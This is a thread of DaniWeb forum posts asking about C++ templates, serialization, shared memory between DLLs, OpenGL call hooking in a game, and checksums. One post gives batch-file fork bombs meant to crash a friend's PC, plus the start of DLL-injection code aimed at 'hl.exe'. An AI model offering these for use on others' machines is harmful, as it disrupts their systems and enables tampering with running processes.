triumphost 120 Posting Whiz

I keep getting "None of the 6 overloads could convert all arguments". I only get this problem in visual studio though. When I compile with g++ or codeblocks, it works perfectly fine.

The code I'm calling my templates with is: MemDeSerialize(ListOfItems, SerializedData, size_t(Data[2]));

The definitions:

template<typename T>
void MemDeSerialize(T& Destination, unsigned char* &Source){...}

template<typename T>
void MemDeSerialize(T*& Destination, unsigned char* &Source, size_t Size){...}

template<typename T>
void MemDeSerialize(std::vector<T> &Destination, unsigned char* &Source, size_t Size)
{
    Destination.resize(Size);
    for (size_t I = 0; I < Size; ++I)
        MemDeSerialize(&Destination[I], Source, Size);
}


                                                /** FUNCTION OVERLOADS **/


void MemDeSerialize(Model* Destination, unsigned char* &Source);

void MemDeSerialize(PanelItem* Destination, unsigned char* &Source);

void MemDeSerialize(Compass* Destination, unsigned char* &Source);

void MemDeSerialize(FontChar* Destination, unsigned char* &Source);

The Error I get is:

1>error C2665: 'MemDeSerialize' : none of the 6 overloads could convert all the argument types
1>could be 'void MemDeSerialize<PanelItem>(T *&,unsigned char *&,size_t)'
1>          with
1>          [
1>              T=PanelItem
1>          ]
1>          while trying to match the argument list '(PanelItem *, unsigned char *, size_t)'
1>          see reference to function template instantiation 'void MemDeSerialize<PanelItem>(std::vector<_Ty> &,unsigned char *&,size_t)' being compiled
1>          with
1>          [
1>              _Ty=PanelItem
1>          ]
========== Build: 0 succeeded, 1 failed, 0 up-to-date, 0 skipped ==========

Any idea why it's doing that in visual studio but not g++?

triumphost 120 Posting Whiz

What are some safe sized datatypes? Inother words, stuff like size_t, uint32_t. They don't seem to change no matter what machine I use. I'm asking because the confusion comes in here:

I'm not sure when to use long vs int. I did a sizeof(int) and sizeof(long) and they are both 4 bytes and I'm on a 64bit machine. Now I always though long would be 8 bytes or hold larger sized integers but this is not the case. This goes the same for long double and double. They seem to also be the same size whereas I though long double would be larger.

Are there any large integral data types that are guaranteed?

triumphost 120 Posting Whiz

Hey I've edited your code if you don't mind me using it. It works quite well. I was reading: http://www.mr-edd.co.uk/blog/beginners_guide_streambuf for the last couple hours to learn how to use my own streams.

and I changed yours to:

std::istringstream in_file;

public:

iserealizer(const void *Buffer, size_t Size)
{
int_file.rdbuf()->pubsetbuf((char*)Buffer, Size);
};

plus I derived from streambuf and stuff and added onto the class as you suggested. This is pretty fun :) Seems to work pretty well for what I need. Thank you.

triumphost 120 Posting Whiz

Hmm but that's the problem. I cannot use boost/libraries. I would since I have it installed but I can't.

That's why I just wrote the essentials for Copying. I'm just having a really hard time reading it back. Especially for the vector.

I was going to use osstream and isstream with rdbuff but then it does it via text which would be very large in size considering I might have a vector of structures with a large amount of info.

I thought CopyMemory would be better. I was reading: http://ideone.com/boBt3 and http://www.ocoudert.com/blog/2011/07/09/a-practical-guide-to-c-serialization/

and a lot of guides but they all seem to be for Java and languages that support this kind of thing natively or for Boost.
I was also thinking of using variadic templates to pass it data that it should serialize (any amount of data members of a struct).

triumphost 120 Posting Whiz

I've added this:

template<>
void Serialize<Model>(unsigned char* &Destination, const Model &M)
{
    Serialize(Destination, M.SX);
    Serialize(Destination, M.SY);
    Serialize(Destination, M.Stride);
    Serialize(Destination, M.ID);
    Serialize(Destination, M.TriangleCount);
    Serialize(Destination, M.Vertices);
}


void* GetData()
{
    unsigned char* Data = reinterpret_cast<unsigned char*>(LD);     //The long double that holds the map memory.
    ListOfData.resize(LD[2]);                                       //LD[2] holds the size of the original vector.
    CopyMemory(&ListOfData[0], Data, sizeof(Model) * LD[2]);

    return &ListOfData[0];
}
triumphost 120 Posting Whiz

I currently use this to serialize data, write it to shared memory so that another program can reconstruct it and use it:

template<typename T>
void Serialize(unsigned char* &Destination, const T &Source)
{
    CopyMemory(Destination, &Source, sizeof(T));
    //Destination += sizeof(T);  //Not sure if to add this or not.
}

template<typename T>
void Serialize(unsigned char* &Destination, const std::vector<T> &VectorContainer)
{
    size_t Size = VectorContainer.size();
    Serialize(Destination, Size);
    for (size_t I = 0; I < Size; ++I)
        Serialize(Destination, VectorContainer[I]);
}

template<typename T>
void DeSerialize(unsigned char* &Destination, const T& Source, size_t Size)
{
    CopyMemory(Destination, &Source, Size);
}

template<typename T>
void DeSerialize(std::vector<T>* &VectorContainer, const T &Source, size_t ContainerSize, size_t ByteSize)
{
    VectorContainer.resize(ContainerSize);
    CopyMemory(VectorContainer, &Source, ByteSize);
}

I'm not sure if my DeSerialize is correct though. The data I want to deserialize looks like: http://www.daniweb.com/software-development/cpp/threads/430518/shared-memory-objects-across-dlls

How should I Deserialize it?

I tried:

DeSerialize(ListOfFonts, Data[7], sizeof(FontChar));
return &ListOfFonts[0];  //Return a void* to my vector containing the reconstructed data.
triumphost 120 Posting Whiz

How would I copy that data? MSDN only shows how to send a string. Also do I have to Map and unmap every time I make a call or can I just map upon load and then unmap upon detach? For example, if I want to request an int, I'd have my DLL map upon start and cast my void* to an int* and request. Now can I cast that void* to an int again and request again? Or do I have to close the file and map and cast to a float first?

Would my file be physical? Atm, I cannot see the "Local\Object" file which I like. I don't want to have to create a physical file that I can see on the desktop but if I have to, I will.

I realize that's a lot of questions I'm asking but there isn't many tutorials for maps on windows.

triumphost 120 Posting Whiz

DLL A: This DLL gets attached to Process A and collects data. When it receives commands, it maps the data it collected so that DLL B can read it. I've left some comments in there to further explain.

struct FontChar      //A structure to hold a single character. I cut down on the size of this struct.
{
    GLuint ID;
    GLchar Symbol;         //Holds letters All 256 characters.
};

struct Model                //A structure to hold model data. I cut down on the size of this.
{
    unsigned long ID;
    const GLvoid* VertexPointer;
    std::vector<Vector3D> Vertices; //Holds all vertices.
};

void* hMapFile = NULL;             //FileMap pointer. Void* for easy casting.
std::vector<Model> ListOfModels;   //A list of all models. So an array of ModelStruct.
std::vector<FontChar> ListOfFonts; //Basically a string since it's a list of chars.


bool Initialize()       //Initializes my shared memory.
{
    if ((hMapFile = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, MapSize, SharedMemoryName.c_str())) == NULL)
        return false;

    if ((pData = MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, MapSize)) == NULL)
    {
        CloseHandle(hMapFile);
        return false;
    }
    return true;
}

void ExecuteCommands()
{
    int* Data = static_cast<int*>(pData);    //Our File map pointer.
    if (Data[1] == GLStatusSent)            //GLStatusSent  = 1. I'm using this to set commands.
    {
        switch(Data[0])                     //Data[0] Holds the command sent.
        {
            case GLHook_GetModels:          //defined as 12.
            {
                Data[1] = GLStatusReturned; //Just for communication/synchronization. It lets the other dll know a value was returned.
                Data[3] = &ListOfModels[0]; //Data[3] is supposed to hold the list of all models. Which will be read from DLL-B.
            }
            break

            case GLHook_GetTextArea:
            {
                Data[1] = GLStatusReturned;
                std::string …
triumphost 120 Posting Whiz

Hey guys, I have two structs and I have two functions in two DLL's. DLL-A is attached to a process and collects data. When the data is requested by DLLB which is attached to a second process, DLLA maps the data for B to read.

The problem is, I cannot seem to get it to transfer structs or vectors. It transfers Integers perfectly fine but not Floats or objects/containers. Is there a way to share these across memory?

struct FontChar
{
    GLuint ID;
    GLchar Symbol;
    GLboolean LastFont;
    GLint TCount, VCount;
    struct
    {
        GLint VX[4], VY[4];
        GLint TX[4], TY[4];
    } Quad;
};

struct Model
{
    GLint SX, SY;
    GLuint Stride;
    unsigned long ID;
    GLint TriangleCount;
    GLboolean NullVertex;
    GLboolean ShowVertices;
    const GLvoid* VertexPointer;
    std::vector<Vector3D> Vertices;
};

std::vector<Model> ListOfModels;
std::vector<FontChar> ListOfFonts;

//In my communication function for DLL-A, this is the one of two cases that do not work:
case GLHook_GetModels:
{
    Data[1] = GLStatusReturned;
    Data[3] = &ListOfModels[0];
}
break;

case GLHook_Fonts:
{
    Data[1] = GLStatusReturned;
    Data[3] = &ListOfFonts[0];
}

//Finally in DLL-B:
GL_EXPORT char* GLHGetTextArea(int X1, int Y1, int X2, int Y2)
{
    int* Data = static_cast<int*>(RequestSharedMemory());
    Data[0] = GLHook_GetTextArea;
    Data[1] = GLStatusSent;
    Data[3] = X1; Data[4] = Y1;
    Data[5] = X2; Data[6] = Y2;

    if (SharedDataFetched())
    {
        return reinterpret_cast<char*>(Data[7]);
    }
    return NULL;
}

GL_EXPORT void* GLHGetModels()
{
    int* Data = static_cast<int*>(RequestSharedMemory());
    Data[0] = GLHook_GetModels;
    Data[1] = GLStatusSent;

    if (SharedDataFetched())
    {
        return reinterpret_cast<void*>(Data[3]);
    }

    return NULL;
}
triumphost 120 Posting Whiz

I just started shared memory and I took a big dive into it and got stuck trying to figure out how to share pointers. Well not really pointers:

void* pData = MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, MapSize);

Ok so the above holds my view of the file to be shared between 2 DLL's.

The first is to be attached to a proccess and creates the mapping. <-- This DLL gives the Second one all info it collected.

The Second DLL is a plugin for a pascal program that will read the data and use it.
It exports functions like this:
"Function GetViewPort(var X, Y, Width, Height: Integer): Boolean;"

Now the data for that function is retrieved from the Second DLL:

DLL_EXPORT bool GetViewPort(int &X, int &Y, int &Width, int &Height)
{
    int* Data = static_cast<int*>(pData);
    Data[0] = GLHook_ViewPort;

    if (SharedDataFetched)
    {
        X = Data[1];
        Y = Data[2];
        Width = Data[3];
        Height = Data[4];
        return true;
    }
    return false;
}

And that all works fine. However, for a function defined like this:
void* GetModels() is supposed to return a vector of structs.

It is defined as:
Function GetModels(): Integer;

Where the integer is just a pointer. How can I pass a vector of structs from the First DLL to the Second using the memorymapfile? I know I'll have to pass the size but how can I pass the actual info to the first DLL? If I pass &Vector[0] then how would my pascal program be able to …

triumphost 120 Posting Whiz

Oohhh I see what you mean. Yeah lol I never actually wrote all 350+ in the def file at all.

I used a library I've been working on ever since I started C++ and I made a little script. It'll take the typedefs and generate all the externs, def file functions, detours and address functions =]

Thanks for the advice and input =] I got it all solved now :D

triumphost 120 Posting Whiz

Link to gdi32.a

Whenever you get an undefined reference error, it means you don't have the right libraries linked and the linker cannot find your function.

In your case:

Library Gdi32.lib
DLL     Gdi32.dll 

Most of the time, if you do not know the library, search for the function on MSDN: http://msdn.microsoft.com/en-us/library/windows/desktop/dd144925%28v=vs.85%29.aspx

Scroll down to the bottom grey-blue part. It shows the info above. Usually you want to link to the library and not go through the hassle of loading the DLL and getting the proc address..

So again, Link to gdi32.a/libgdi32.a (Both are the same thing).

triumphost 120 Posting Whiz

Ahh that solved it with the extern "C" and __stdcall.

Only problem now is that it says:
Warning: resolving _GLHook_glAccum by linking to _GLHook_glAccum@8

I have to use the def file because if I don't use it, how will the original function point to mine?

Example:

glAccum = GLHook_Accum;

Doesn't that redirect all calls to glAccum to GLHook_Accum? That's what I read on MSDN:

For example, if your DLL exports a function, func1() and you want it to be used as func2(), you would specify:

EXPORTS
func2=func1

http://msdn.microsoft.com/en-us/library/hyx1zcd3%28v=vs.80%29.aspx

When I don't use the DEF file, the warnings are gone.. But then again, it doesn't work unless I use it. I'll try the dlltool. :) Thank you.

triumphost 120 Posting Whiz

Hey all. I'm having a problem with a DLL being loaded. In codeblocks, if I don't export Main + ALL the functions in my DLL, they cannot be used by an external program! Yet in visual studio, I exported nothing and external programs are able to load the DLL.

Example:

Main.cpp:

#include <windows.h>
#include "GLHook.hpp"

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
        case DLL_PROCESS_ATTACH:
        {
            MessageBox(NULL, "", "", 0);
            DisableThreadLibraryCalls(hinstDLL);
            return Initialize();
        }
        break;

        case DLL_PROCESS_DETACH:
        {
            return DeInitialize();
        }
        break;
    }
    return TRUE;
}

GLHook.hpp:

typedef void (WINAPI *ptr_glAccum) (GLenum op, GLfloat value);

GLHook.cpp:

void GLHook_glAccum(GLenum op, GLfloat value)
{
    (*optr_glAccum) (op, value);
}


bool Initialize(void)
{
    if (!OriginalGL)
    {
        char Root[MAX_PATH];
        GetSystemDirectoryA(Root, MAX_PATH);
        strcat(Root, "\\opengl32.dll");

        OriginalGL = LoadLibraryA(Root);
        if (!OriginalGL) return false;

        if ((optr_glAccum = (ptr_glAccum) GetProcAddress(OriginalGL, "glAccum")) == NULL)
        {
            return false;
        }
}

.DEF File:

LIBRARY OpenGL32
;DESCRIPTION "GLHook Definition File"
EXPORTS

glAccum                    =    GLHook_glAccum;

Now the above will compile and work flawlessly in VisualStudio but in codeblocks it'll say "Cannot Export Symbols Undefined"..

When I do export it in codeblocks, it shows 700 symbols in the DLLExport Viewer whereas the Visual Studio one shows 350. The game Loads the Visual studio one but crashes immediately on the Codeblocks one. Visual studio is 80kb in size whereas codeblocks is 744kb.

Why does it do this in codeblocks? I want to use Codeblocks so I can use C++11 ={ Anyway to fix it?

In …

triumphost 120 Posting Whiz

PERFECT!! It works! I understand now =] Thank you so much mike!

triumphost 120 Posting Whiz

Wow... I got lost there ={
Usually I understand but this time I really got lost.

meaning that it gets the float value that is 4 floats after the pointer address, not the float value that is 4 bytes after the pointer address.

This part confused me. I got lost there. Can you break that down further?

triumphost 120 Posting Whiz

How can I iterate a buffer with a stride? For example, I saved the pointer to a vertex buffer for later use. I've got the stride, the pointer, and triangle count for vertices. I want to iterate my pointer using this info to get the vertices. I'm doing it wrong right now because it doesn't display all of them.

Anyone have any idea how I can use this information to get each vertex?

struct BufferObject
{
    GLint ID;
    GLsizei Size;
    GLboolean Reserved;
    GLenum Type, Usage;
    const GLvoid* BufferPointer;
};

BufferObject CurrentBuffer;
std::vector ListOfBuffers;

GL_EXPORT __stdcall void GLHook_glBindBufferARB(GLenum target, GLuint buffer)
{
    BufferBound = true;
    CurrentBuffer.Type = target;
    CurrentBuffer.ID = buffer;

    (*optr_glBindBufferARB) (target, buffer);
}

GL_EXPORT __stdcall void GLHook_glBufferDataARB(GLenum target, GLsizeiptrARB size, const GLvoid *data, GLenum usage)
{
    if (BufferBound)
    {
        BufferBound = false;
        CurrentBuffer.Size = size;
        CurrentBuffer.Usage = usage;
        CurrentBuffer.BufferPointer = data;
        ListOfBuffers.push_back(CurrentBuffer);
    }
    (*optr_glBufferDataARB) (target,  size, data, usage);
}

void IterateModelVertices()
{
        for (size_t I = 0; I < ListOfBuffers.size(); I++)
        {
            if (ListOfBuffers[I].ID == CurrentBuffer.ID)
            {
                const GLfloat* Ptr = static_cast(ListOfBuffers[I].BufferPointer);

                for (int J = 0; J < ModelPtr->TriangleCount; J++)
                {
                    Not sure if I'm using it correctly though.
                    ModelPtr->Vertices.push_back(Vector3D(*(Ptr + (J * ModelPtr->Stride)), *(Ptr + (J * ModelPtr->Stride + 1)), *(Ptr + (J * ModelPtr->Stride + 2))));
                }
                break;
            }
        }
}

I've also tried:

    for (int I = 0; I < TriangleCount; I++)
    {
       cout<<"X: " << *(Pointer + (I * Stride))<<endl;
       cout<<"Y: " << *(Pointer + (I * Stride + 1))<<endl; …
triumphost 120 Posting Whiz

What are the last 4 values for?

(m[0],  m[4],  m[8], m[12])
(m[1],  m[5],  m[9], m[13])
(m[2],  m[6], m[10], m[14])
(m[3],  m[7], m[11], m[15])

I've looked everywhere and cannot figure out what m[3], m[7], m[11], m[16] are for (ModelView Matrix).. It says to ignore them but I can't just ignore them as the program I'm hooking into uses those for some odd reason :S

triumphost 120 Posting Whiz

How can I reverse a GLTranslate. Example:

if glTranslate is called before rendering text to the screen, how can I figure out the position of that text if glTranslate weren't used?

The text is rendered to the screen like this:

glTexEnvi(GL_TEXTURE_ENV, GL_COMBINE_RGB, 7681)
glTexEnvi(GL_TEXTURE_ENV, GL_SOURCE0_RGB, 34168)
glTexEnvi(GL_TEXTURE_ENV, GL_OPERAND0_RGB, 768)
glColor4ub(0, 0, 0, 255)
glTranslatef(330, 190, 0)
glCallList(3)

That code above renders text on the screen. I want to figure out the position of that text in 2D with the current Modelview and Projection view.

I just want to figure out how to Untranslate it or figure out how the translation is applied. I tried:

bool WTS(GLfloat &X, GLfloat &Y, Vector3D World)
{
    GLint VP[4];
    GLdouble S[3];
    GLdouble MV[16];
    GLdouble PM[16];

    glGetIntegerv(GL_VIEWPORT, VP);
    glGetDoublev(GL_MODELVIEW_MATRIX, MV);
    glGetDoublev(GL_PROJECTION_MATRIX, PM);

    if(gluProject(World.X, World.Y, World.Z, MV, PV, ViewPort, &S[0], &S[1], &S[2]) == GL_TRUE)
    {
        X = S[0];
        Y = VP[3] - S[1];
        return true;
    }
    return false;
}

and then drawing my copy text at the X, Y returned. Instead it renders at a different position rather than on top of the text that used glTranslatef.

How can I get the correct X, Y?

triumphost 120 Posting Whiz

How can I compare Dimensional arrays using iterators? My attempt is below but I gave up and used indexing instead. I plan to change comparing doubles with == to use epsilon later. Also should I be using vector of vectors?

//In my class, Data is defined as std::vector<std::vector<double>> Data;

bool Matrix::operator == (const Matrix& M) const
{/*
    for (std::vector<std::vector<double>>::iterator Row = Data.begin(); Row != Data.end(); Row++)
    {
        for (std::vector<double>>iterator::Column = Row->begin(); Column != Row->end(); Column++)
        {

        }
    }
*/
    for (size_t I = 0; I < Data.size(); I++)
    {
        for (size_t J = 0; J < Data[I].size(); J++)
        {
            if (Data[I][J] != M[I][J])
                return false;
        }
    }
    return true;
}


//I used this for indexing so that I can do Matrix M;  M[I][J].
std::vector<double> Matrix::operator [](size_t I)
{
    return Data[I];
}

I also gave up on my multiplication using iterators to use indexing because I cannot figure it out :S

void Matrix::Multiply(Matrix N)
{
    Matrix Product = Matrix(Data.size(), N.Data[0].size());
    for (size_t I = 0; I < Data.size(); I++)
    {
        for (size_t J = 0; J < N.Data[0].size(); J++)
        {
            double SumElements = 0.0;
            for (size_t K = 0; K < Data.size(); K++)
            {
                SumElements += Data[I][K] * N.Data[K][J];
            }
            Product[I][J] = SumElements;
        }
    }
    //*this = Product;
}

I just want my code as efficient as possible which is why I thought iterators would be far far better.

triumphost 120 Posting Whiz

Hey I got everything working. I decided to store the pointer for use later using a struct.

struct Model
{
    GLint Stride, ID;
    GLvoid* VertexPointer;
    GLint TriangleCount;

    struct
    {
        std::vector<GLfloat> X, Y, Z;
    } Triangles;
};



Model CurrentModel;
std::vector<Model> ListOfModels;



GL_EXPORT __stdcall void Detour_glVertexPointer(GLint size, GLenum type, GLsizei stride, const GLvoid *pointer)
{
    if (LogCalls) glLogCalls("glVertexPointer: %i, %d, %i, %i", size, type, stride, pointer);
    DrawModel = true;
    if (size == 3 && type == GL_FLOAT)
    {
        CurrentModel.Stride = stride;
        CurrentModel.VertexPointer = pointer;   //Store a pointer to the list of vertices! Hopefully this works.
        ListOfModels.push_back(CurrentModel);
    }
    (*optr_glVertexPointer) (size, type, stride, pointer);
}

GL_EXPORT __stdcall void Detour_glDrawElements(GLenum mode, GLsizei count, GLenum type, const GLvoid *indices)
{
    if (LogCalls) glLogCalls("glDrawElements: %d, %i, %d, %i\n", mode, count, type, indices);
    if (DrawModel)
    {
        ListOfModels.back().ID = 0;
        const GLvoid* ModelVertexPtr = ListOfModels.back().VertexPointer;
        size_t ModelTriCount = ListOfModels.back().TriangleCount = count / 3;

        for (size_t I = 0; I < ModelTriCount; I++)
        {
            ListOfModels.back().Triangles.X[I] = (GLfloat)ModelVertexPtr[I];
            ListOfModels.back().Triangles.Y[I + 1] = (GLfloat)ModelVertexPtr[I + 1];
            ListOfModels.back().Triangles.Z[I + 2] = (GLfloat)ModelVertexPtr[I + 2];

            if (ListOfModels.back().Stride == Stride && Overlay)
                glPolygonMode(GL_FRONT_AND_BACK, GL_LINE);
            else
                glPolygonMode(GL_FRONT_AND_BACK, GL_FILL);
        }
    }
    else
        glPolygonMode(GL_FRONT_AND_BACK, GL_FILL);
    (*optr_glDrawElements) (mode, count, type, indices);
}

But line 38 gives me errors :S It says invalid use of struct::triangles. And it says 'const GLvoid* {aka const void*}' is not a pointer-to-object type.

What am I doing wrong? All I did was store the pointer but I think I'm accessing it wrong.

triumphost 120 Posting Whiz

Hmmm. I just checked my OpenGL headers for glGenBuffers and glBindBuffer, it doesn't exist in there. My OpenGL headers come with Mingw (The latest version).

My system opengl is 3.3 and ALL windows Operating systems stop at 1.1 functionality unless I use the wiggle functions. In this case I can't though because Mingw's headers are years outdated and OpenGL.org doesn't supply gl.h only the extension ones :S

GL_GetString with the GL_Extension parameter doesn't return the true functions supported. It only returns what the header supports..

It seems Microsoft is pushing DirectX and keeping OGL at 1.1 :S Linux doesn't have this problem -_-

triumphost 120 Posting Whiz

Hmmm. I didn't see that. I used OllyDBG to see calls made to my opengl32.dll and those were the calls made so I immediately took interest in them.

I didn't want to have to use wglGetProcAddress because that's platform specific and windows doesn't expose Extended functions. For example on Nvidia cards I read it would be

glGenBuffers_NV whereas for ATI it would be glGenBuffers_ARB or glGenBuffers_EXT. I'm not sure what to use or if there is a way to detect which to use.

So my new question is, how do games decide which one to use (I can't use Glew)? Like how do they know when to use what? Is it all hardcoded?

triumphost 120 Posting Whiz

In OpenGL, I'm reading about glVertexPointer which has a parameter: const void* pointer and it is a pointer to the coordinates of the first vertex. Thing is, it doesn't have any parameters that tell you the amount of vertices there are.

I'm wondering if there is a way to copy or store this pointer for use in a later function called glDrawElements. Why? Because glDrawElements has a parameter with the count, but it's always called after the glVertexPointer.

Simplified:

glVertexPointer called.. //has vertices which I need but does not have the count. Documentation
glDrawElementers called.. //has the count but only indices (not vertices). Called after the above ={ Documentation

Is there anyway to do what I'm asking? glPushClientAttrib and glPopClientAttrib do what I'm asking?

triumphost 120 Posting Whiz

It would but that only works on strings no?

triumphost 120 Posting Whiz

I'm trying to generate Unique ID's for a buffer unless they contain the same content. Inother words if the buffer has the same content as another, the ID should be the same; otherwise different.

I've found someone using this algorithm for the same kind of buffer:

DWORD CalcChecksum(DWORD *pData, int size)
{
    if(!pData) { return 0x0; }

    DWORD sum;
    DWORD tmp;
    sum = *pData;

    for(int i = 1; i < (size); i++)
    {
        tmp = pData[i];
        tmp = (DWORD)(sum >> 29) + tmp;
        tmp = (DWORD)(sum >> 17) + tmp;
        sum = (DWORD)(sum << 3)  ^ tmp;
    }

    return sum;
}

But I want to use:

uint32_t CRC32Value(int I)
{
    uint32_t Result = I;
    for (int J = 8; J > 0; J--)
    {
        if (Result & 1)
            Result = (Result >> 1) ^ 0xEDB88320;
        else
            Result >>= 1;
    }
    return Result;
}

uint32_t ModelCheckSum(DWORD* Data, size_t Size)
{
    uint32_t Result = 0;
    for (; Size != 0; Size--)
    {
        uint32_t Tmp = (Result >> 8) & 0x00FFFFFF;
        uint32_t Tmp2 = CRC32Value((static_cast<int>(Result) ^ *Data++) & 0xFF);
        Result = Tmp ^ Tmp2;
    }
    return Result;
}

And it gets used like:

void Detour_glBufferData(GLenum target, GLsizei size, const void* data, GLenum usage)
{
    bufferData[lastBuffer] = (void*) data;
    bufferSize[lastBuffer] = size;
    bufferCRC[lastBuffer] = CalcCheckSum((DWORD*)data, size); //Or ModelCheckSum

    original_glBufferDataARB(target, size, data, usage);
}

Which one should I use? Is mine overkill? Also what's wrong with my checksum :S? It crashes badly. I followed what Wikipedia said.

triumphost 120 Posting Whiz

Wait.. you want to redirect cout to your stream?
Or are you trying to redirect your output to the console?

cout itself is a stream to the console. You can't just assign it like that. What about using std::streambuf and cout.rdbuf()?

triumphost 120 Posting Whiz

I don't think you can RDP with just a batch file. Only way is if you actually generate a .RDP file using a batch file then have that batch run that file which will connect you to the person's comp. That's the only way.

Otherwise if you don't mind C++.Net OR C# then: http://www.codeproject.com/Articles/43705/Remote-Desktop-using-C-NET

If you don't want to use the link above, an RDP file is just a text file with the data required to connect to a remote comp.

Just have your batch file write one.

triumphost 120 Posting Whiz

Hmm I'm not sure what you mean. I used a program called DLL ExportViewer and that's what it printed. I've checked off Show Unmangled Names only.

When I export a function, when I want it to redirect to a custom function I do:

SomeFunctioncall = MyDetouredFunction

And whenever the DLL is loaded, if someone calls SomeFunctioncall it will instead call MyDetouredFunction for example.

I was wondering if those @ numbers mean that they all point to the same thing but I will assume you are correct. Thank you.

triumphost 120 Posting Whiz

I don't think he's talking about reverse engineering jobs or actual hacking jobs. They (his friends) just ask him to show them a neat trick.. When you start coding they don't care, they don't wanna see that. I know what he means. They just want a one time alakazam trick.

It'd be stupid of anyone to hire someone just for showing them a batch file trick -__- By the looks of it, he stated he doesn't know how already but they completely ignore that. An employer would not ignore that for sure. So I assume he's speaking about his friends.

Most job interviews will put you at a computer with a task and ask you to code it. I doubt the guys asking him are going to ask him to crack something or hack into a computer.. If so then he's in deep and you guys are correct in that he should learn it. But like I said.. I doubt that's the case.

triumphost 120 Posting Whiz

Are you sure you're not a bad programmer? Because your logic is atrocious. ;)

LOL..

@OP. I started out with Backtrack but you said you want something from scratch. Does it have to be complicated like PE-Editing notepad/calculator to load a messagebox? Injection?

Neat ForkBomb:

I also live in Canada (Toronto) so I know what you mean.. As soon as you say programmer you get piled with hacking crap questions.

When they ask me to do a neat hacking trick.. I don't do anything cool I just crash their comp with a forkbomb(Batch file):

  1. Open Notepad..
  2. Type: %0|%0
  3. Save as ForkBomb.bat to the desktop.
  4. Get them to double click it.
  5. Watch it crash or lag really really really bad.. Taskmanager will not stop it so you need to restart with a hard poweroff/reset.

Alternative forkbomb Same instructions just type this instead:

@echo off
:START
start ForkBomb.bat
GOTO START 

Sorry if it isn't cool enough lol. I can prob post more I guess, if you don't like those.

Injection (Compiler needed):

#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>

using namespace std;

HANDLE hThread;
void* pLibRemote;
DWORD hLibModule;
HMODULE hKernel32;
HANDLE hProcess;

PROCESSENTRY32 GetProcessInfo(char* ProcessName)
{
    HANDLE hSnap = NULL;
    PROCESSENTRY32 Proc32 = {0};

    if((hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE)
        return Proc32;

    Proc32.dwSize = sizeof(PROCESSENTRY32);
    while(Process32Next(hSnap, &Proc32))
    {
        if(!strcmp(ProcessName, Proc32.szExeFile))
        {
            CloseHandle(hSnap);
            return Proc32;
        }
    }
    CloseHandle(hSnap);
    return Proc32;
}

void Inject()
{
    char szLibPath[MAX_PATH];
    memset(szLibPath, 0, MAX_PATH);
    hKernel32 = ::GetModuleHandle("Kernel32");

    PROCESSENTRY32 RSDLL = GetProcessInfo("hl.exe");
    hProcess = …
triumphost 120 Posting Whiz

I hooked a game's OpenGL.dll with my own glwrapper but this game uses two dll's.. It uses a wrapper of OpenGL32 and my hook is also a wrapper. So what I need:

I want to know if these symbols point to the same functions..

http://i.imgur.com/eMZC5.png

@28, @28, @28.. That means they all point to the same function when exported right? The same export numbers mean they all point to a single function right?

triumphost 120 Posting Whiz
int Smallest(int Array[], int size)
{
    if (size == 1)                  
        return Array[0];

    int A = Array[0];                  
    for (int I = 0; I < size; I++)     
        A = Array[I] < A ? Array[I] : A;

    return A;
}


int Smallest(std::vector<int> Array)
{
    if (Array.size() == 1)
        return Array[0];

    int A = Array[0];
    for (int I = 0; I < Array.size(); I++)
        A = Array[I] < A ? Array[I] : A;

    return A;
}
triumphost 120 Posting Whiz

It doesn't have to be the exact folders. It's the file that matters..

E:\Dev-Cpp\include\c++\3.4.2\mingw32

is equivalent to: C:/Mingw/include/_mingw32

E:\Dev-Cpp\lib\gcc\mingw32\3.4.2\include

is equivalent to: C:/Mingw/include

E:\Dev-Cpp\lib

is equivalent to: C:/Mingw/lib

Like I said though. I do not have Dev-Cpp installed anymore so I cannot tell you what to put where. I'm not exactly sure why you are using two different versions of Mingw at the same time..

Anyway I just installed it.. Here's what I did:

Tools->Compiler Options->Directories:
Binary: C:/Mingw/bin
Libraries: C:/Mingw/lib
C Includes: C:/Mingw/Include
C++ Includes: C:/Mingw/Include

Tools->Compiler Options->Programs:
gcc: gcc.exe
g++: g++.exe
make: mingw32-make.exe
gdb: gdb.exe
windres: windres.exe
dllwrap: dllwrap.exe
gprof: gprof.exe

Press Ok and ok and ok until the menu closes. Try compiling something. It should work.

Whenever you open Dev-C++ it'll say you don't have a GNU make in your path or devC++ bin. Just ignore it. I cannot remember how to get rid of it without compiling devC++ from source or without NOP-ing that messagebox.

Either way the instructions above will work.

triumphost 120 Posting Whiz

E:\Dev-Cpp\include\c++\3.4.2\mingw32

It's still using the old thing: E:\Dev-Cpp\include\c++\3.4.2\mingw32

You need to change everything to point to your new mingw/gcc folder.

C:/Mingw/Bin/g++
C:/Mingw/Bin/mingw32-g++
C:/Mingw/Bin/gcc
C:/Mingw/Bin/mingw32-gcc
C:/Mingw/Include
C:/Mingw/lib

Not sure if I missed any.

triumphost 120 Posting Whiz

Yeah I know. The colour is set but the user. The colour is fine. It's the background that comes with the text that isn't fine.. The background is supposed to be transparent but instead it's black. So my text is red with a black background instead of a transparent background.

triumphost 120 Posting Whiz

I've hook a game that uses OpenGL and I'm trying to draw text on the window but when drawn, it has a background that I do not want.

Currently i'm using:

void glPrint(HDC DC, COLORREF Colour, int X, int Y, const char* format, ...)
{
    if (format == NULL) return;
    char text[256];
    va_list ap;
    va_start(ap, format);
    vsprintf(text, format, ap);
    va_end(ap);

    //SelectObject(DC, GetStockObject(DEFAULT_GUI_FONT));
    SetBkMode(DC, TRANSPARENT);
    SetTextColor(DC, Colour);

    TextOut(DC, X, Y, text, strlen(text));
}

And I test it using:

GL_EXPORT __stdcall BOOL GLHook_wglSwapBuffers(HDC hdc)
{
    Commands();
    bool Result = (*optr_wglSwapBuffers) (hdc);
    if (LogCalls)
    {
        glPrint(hdc, RGB(255, 0, 0), 0, 0, "Testing..");
    }
    return Result;
}

Yet it still has a black background :S. I tried Opaque too but that just makes the background white. I'm not aware of any other methods of drawing text.

Also is there a way to make an overlay/canvas ontop of a window? So that if I draw on that canvas, that window will not have the drawing but rather the canvas will. Reason i want to do this is so that I can just press a button and it will overlay on my window then press it again and it will be hidden but not erased.
